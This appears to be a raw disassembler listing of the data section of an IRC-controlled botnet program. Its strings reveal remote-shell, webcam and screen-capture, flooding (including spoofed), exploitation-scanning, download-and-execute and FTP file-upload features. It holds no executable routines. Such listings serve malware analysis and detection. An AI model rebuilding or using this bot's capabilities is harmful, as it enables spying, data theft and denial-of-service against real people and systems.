db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 6Eh, 7Ah
db 6Dh ; m
db 20h, 3, 32h
db 2Eh ; .
db 2Eh, 20h, 3
db 31h ; 1
db 35h, 28h, 73h
db 68h ; h
db 65h, 2 dup(6Ch)
db 3
db 32h, 2Eh, 3
db 31h ; 1
db 35h, 6Dh, 6Fh
db 64h ; d
db 29h, 20h, 3
db 32h ; 2
db 0BBh, 3, 31h
a5FileOpenedS db '5 File opened: %s',0
align 4
; char dword_434F3C
dword_434F3C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4C1Ao
dd 2BBBB02h
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 10h
; char dword_434F70
dword_434F70 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51:loc_413A1Co
dd 2BBBB02h
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
align 4
; char dword_434FA8
dword_434FA8 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4BA0o
dd 2BBBB02h
aLookupSS_ db ' Lookup: %s -> %s.',0
unk_434FD4 db 2 ; DATA XREF: sub_40EE51:loc_4139BDo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToTermin db 'Failed to terminate process: %s',0
unk_435014 db 2 ; DATA XREF: sub_40EE51+4B62o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessKilledS db 'Process killed: %s',0
align 4
; char unk_435048
unk_435048 db 2 ; DATA XREF: sub_40EE51:loc_41395Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToTerm_0 db 'Failed to terminate process ID: %s',0
align 4
unk_43508C db 2 ; DATA XREF: sub_40EE51+4B05o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessKilledI db 'Process killed ID: %s',0
align 4
dword_4350C4 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40EE51+4AC4o
dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h
dd 0
; char dword_4350F0
dword_4350F0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4A3Fo
dd 2BBBB02h
aSendFileSUserS db ' Send File: %s, User: %s.',0
align 4
dword_435124 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40EE51+49CDo
dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_435148 db 2 ; DATA XREF: sub_40EE51+49B2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_15 db 'Failed to start connection thread, error: <%d>.',0
; char dword_435194
dword_435194 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
; DATA XREF: sub_40EE51+4943o
dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0
dword_4351BC dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
; DATA XREF: sub_40EE51:loc_413725o
dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h
dd 0
unk_4351E8 db 2 ; DATA XREF: sub_40EE51+48CAo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Dh, 69h, 72h
db 63h ; c
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientNotOpen_ db ' Client not open.',0
dword_435214 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4899o
dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h
dword_43523C dd 7A026E02h, 201F6D1Fh, 646D6328h ; DATA XREF: sub_40EE51+488Eo
db 2Eh
byte_435249 db 70h, 1Fh, 6Ch ; DATA XREF: UPX0:off_4264DCo
dd 2029671Fh, 2BBBB02h
aErrorSendingTo db ' Error sending to remote shell.',0
align 4
dword_435278 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+484Eo
dd 2BBBB02h
aReadFileFailed db ' Read file failed: %s',0
align 4
; char dword_4352A8
dword_4352A8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+483Ao
dd 2BBBB02h
aReadFileComple db ' Read file complete: %s',0
align 4
dword_4352DC dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE51:loc_41361Ao
dd 2029671Fh, 2BBBB02h
aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0
dword_435328 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE51:loc_413610o
dd 2029671Fh, 2BBBB02h
aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0
align 4
dword_435378 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE51+47B5o
dd 2029671Fh, 2BBBB02h
aAmateurVideoSa db ' Amateur video saved to: %s.',0
align 4
; char dword_4353B4
dword_4353B4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE51:loc_41356Eo
dd 2029671Fh, 2BBBB02h
aInvalidParam_1 db ' Invalid parameters for webcam capture.',0
align 4
dword_4353FC dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE51:loc_413567o
dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0 db ' Error while capturing from webcam.',0
align 10h
; char dword_435440
dword_435440 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE51+4706o
dd 2029671Fh, 2BBBB02h
aWebcamCaptureS db ' Webcam capture saved to: %s.',0
align 4
; char aFrame[]
aFrame db 'frame',0 ; DATA XREF: sub_40EE51:loc_4134DBo
align 4
; char dword_435484
dword_435484 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE51+467Do
dd 2029671Fh, 2BBBB02h
aDriverListComp db ' Driver list complete.',0
; char dword_4354B8
dword_4354B8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE51+4647o
dd 2029671Fh, 2BBBB02h
aDriverDSS_ db ' Driver #%d - %s - %s.',0
; char aDrivers[]
aDrivers db 'drivers',0 ; DATA XREF: sub_40EE51:loc_413444o
; char dword_4354F4
dword_4354F4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE51:loc_413431o
dd 2029671Fh, 2BBBB02h
aNoFilenameSpec db ' No filename specified for screen capture.',0
dword_43553C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE51:loc_41342Ao
dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1 db ' Error while capturing screen.',0
; char dword_435578
dword_435578 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40EE51+45C9o
dd 2029671Fh, 2BBBB02h
aScreenCaptureS db ' Screen capture saved to: %s.',0
align 4
; char aScreen[]
aScreen db 'screen',0 ; DATA XREF: sub_40EE51:loc_4133E1o
align 4
; char dword_4355BC
dword_4355BC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4572o
dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h
; char dword_4355E4
dword_4355E4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4537o
dd 2BBBB02h
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 4
; char dword_435624
dword_435624 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+451Bo
dd 2BBBB02h
aGethostSComman db ' Gethost: %s, Command: %s',0
align 4
; char dword_435658
dword_435658 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4499o
dd 2BBBB02h
aAliasAddedS_ db ' Alias added: %s.',0
align 4
; char dword_435684[]
dword_435684 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+445Eo
dd 2BBBB02h
aPrivmsgSS_ db ' Privmsg: %s: %s.',0
align 10h
; char dword_4356B0[]
dword_4356B0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4408o
dd 2BBBB02h
aActionSS_ db ' Action: %s: %s.',0
align 4
dword_4356DC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+43A0o
dd 2BBBB02h, 79432020h, 2E656C63h, 0
; char dword_435700[]
dword_435700 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE51+4366o
; sub_40EE51+4E6Ao
; char dword_43570C[]
dword_43570C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4337o
dd 2BBBB02h
aModeChangeS db ' Mode change: %s',0
align 4
; char aModeS_0[]
aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+4329o
align 4
dword_435744 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40EE51+4300o
dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h
dd 73h
dword_435770 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40EE51+4295o
dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h
dd 7325h
; char aModeS[]
aModeS db 'MODE %s',0 ; DATA XREF: sub_40EE51+4240o
; char dword_4357A4[]
dword_4357A4 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40EE51+420Bo
dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h
dd 7325h
; char aNickS_0[]
aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_40EE51+41B5o
; sub_40EE51+4CA4o
; char aJoinSS[]
aJoinSS db 'JOIN %s %s',0 ; DATA XREF: sub_40EE51+4196o
align 4
; char aPartS[]
aPartS db 'PART %s',0 ; DATA XREF: sub_40EE51+412Co
dword_4357EC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51:loc_412F6Ao
dd 2BBBB02h
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 10h
; char dword_435830
dword_435830 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+40E2o
dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0
; char aRepeat[]
aRepeat db 'repeat',0 ; DATA XREF: sub_40EE51+4091o
align 10h
dword_435860 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51:loc_412E9Ao
dd 2BBBB02h, 65442020h, 2E79616Ch, 0
; char aSSSS[]
aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_40EE51+4009o
; sub_40EE51+40BCo ...
align 4
unk_435894 db 2 ; DATA XREF: sub_40EE51:loc_412E09o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aBotIdMustBeDif db ' Bot ID must be different than current running process.',0
unk_4358E8 db 2 ; DATA XREF: sub_40EE51+3FAEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStartD db ' Failed to start download thread, error: <%d>.',0
align 4
; char unk_435934
unk_435934 db 2 ; DATA XREF: sub_40EE51+3F3Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDownloadingUpd db ' Downloading update from: %s.',0
align 10h
; char aSS_exe[]
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EE51+3E99o
align 4
dword_43597C dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
; DATA XREF: sub_40EE51+3E3Ao
dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h
unk_4359A4 db 2 ; DATA XREF: sub_40EE51+3E2Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 65h, 78h, 65h
db 63h ; c
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 4
unk_4359D8 db 2 ; DATA XREF: sub_40EE51+3DA7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_16 db ' Failed to start search thread, error: <%d>.',0
align 4
; char unk_435A24
unk_435A24 db 2 ; DATA XREF: sub_40EE51+3D2Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingFor_0 db ' Searching for file: %s in: %s.',0
align 4
dword_435A64 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40EE51:loc_412AE0o
; sub_40EE51:loc_41391Co
dd 0BBBB0220h, 2002h
; char unk_435A80
unk_435A80 db 2 ; DATA XREF: sub_40EE51+3C7Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_435AB4 db 2 ; DATA XREF: sub_40EE51:loc_412AA9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0
align 4
unk_435AFC db 2 ; DATA XREF: sub_40EE51+3C4Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
align 4
; char unk_435B44
unk_435B44 db 2 ; DATA XREF: sub_40EE51+3BD4o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0
align 10h
unk_435B80 db 2 ; DATA XREF: sub_40EE51+3B5Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Ch, 6Fh
db 6Eh ; n
db 65h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_17 db ' Failed to start clone thread, error: <%d>.',0
; char unk_435BC8
unk_435BC8 db 2 ; DATA XREF: sub_40EE51+3AEEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Ch, 6Fh
db 6Eh ; n
db 65h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0
align 4
; char unk_435C08
unk_435C08 db 2 ; DATA XREF: sub_40EE51+3A66o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0
align 10h
; char unk_435C50
unk_435C50 db 2 ; DATA XREF: sub_40EE51+39EEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 10h
; char dword_435C90
dword_435C90 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+3959o
dd 2BBBB02h
aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0
align 4
; char dword_435CD8
dword_435CD8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+38DFo
dd 2BBBB02h
aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0
unk_435D14 db 2 ; DATA XREF: sub_40EE51+386Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
align 4
; char unk_435D64
unk_435D64 db 2 ; DATA XREF: sub_40EE51+3800o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 10h
unk_435DA0 db 2 ; DATA XREF: sub_40EE51+3731o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0
align 4
; char unk_435DF4
unk_435DF4 db 2 ; DATA XREF: sub_40EE51+36C2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
unk_435E40 db 2 ; DATA XREF: sub_40EE51+3637o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0
align 4
; char unk_435E8C
unk_435E8C db 2 ; DATA XREF: sub_40EE51+35C8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
aSSS_2 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EE51+3544o
align 4
; char aSSS_1[]
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EE51+3447o
align 4
; char dword_435EF8
dword_435EF8 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EE51+33B9o
; sub_40EE51+43E9o
; char unk_435F04
unk_435F04 db 2 ; DATA XREF: sub_40EE51+335Ao
; sub_40EE51+5162o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_21 db ' Failed to start scan thread, error: <%d>.',0
align 4
; char unk_435F4C
unk_435F4C db 2 ; DATA XREF: sub_40EE51+32EBo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu'
db 'tes using %d threads.',0
aSequential db 'Sequential',0 ; DATA XREF: sub_40EE51+32C0o
; sub_40EE51+50C6o
align 4
aRandom_0 db 'Random',0 ; DATA XREF: sub_40EE51+32B9o
; sub_40EE51+50BFo
align 10h
unk_435FD0 db 2 ; DATA XREF: sub_40EE51+317Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_22 db ' Failed to start scan, no IP specified.',0
align 4
; char unk_436014
unk_436014 db 2 ; DATA XREF: sub_40EE51+3032o
; sub_40EE51+4F0Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
dword_436060 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+3001o
dd 2BBBB02h
aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0
align 4
; char dword_4360A8
dword_4360A8 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+2F92o
dd 2BBBB02h
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 10h
; char aIcmp_dllNotAva[]
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE51+2EBDo
align 4
unk_436118 db 2 ; DATA XREF: sub_40EE51+2EA8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0
align 10h
; char unk_436160
unk_436160 db 2 ; DATA XREF: sub_40EE51+2E3Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
dword_4361B8 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51:loc_411BF1o
dd 2BBBB02h
aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0
align 10h
dword_436200 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+2D96o
dd 2BBBB02h
aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0
align 4
; char dword_436248
dword_436248 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+2D1Co
dd 2BBBB02h
aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_40EE51+2D0Co
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EE51+2D05o
dword_43629C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+2C70o
dd 2BBBB02h
aInvalidFloodTy db ' Invalid flood type specified.',0
; char dword_4362D4
dword_4362D4 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51:loc_4119D9o
dd 2BBBB02h
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
dword_436310 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+2B81o
dd 2BBBB02h
aUploadingFil_0 db ' Uploading file: %s to: %s',0
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EE51+2B6Ao
; char aSS_5[]
aSS_5 db '-s:%s',0 ; DATA XREF: sub_40EE51+2B53o
align 4
; char aOpenSSSSPutSBy[]
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EE51+2B33o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
; char aSIII_dll[]
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EE51+2AFEo
align 4
dword_436388 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+2AB4o
dd 2BBBB02h
aFileNotFoundS_ db ' File not found: %s.',0
align 4
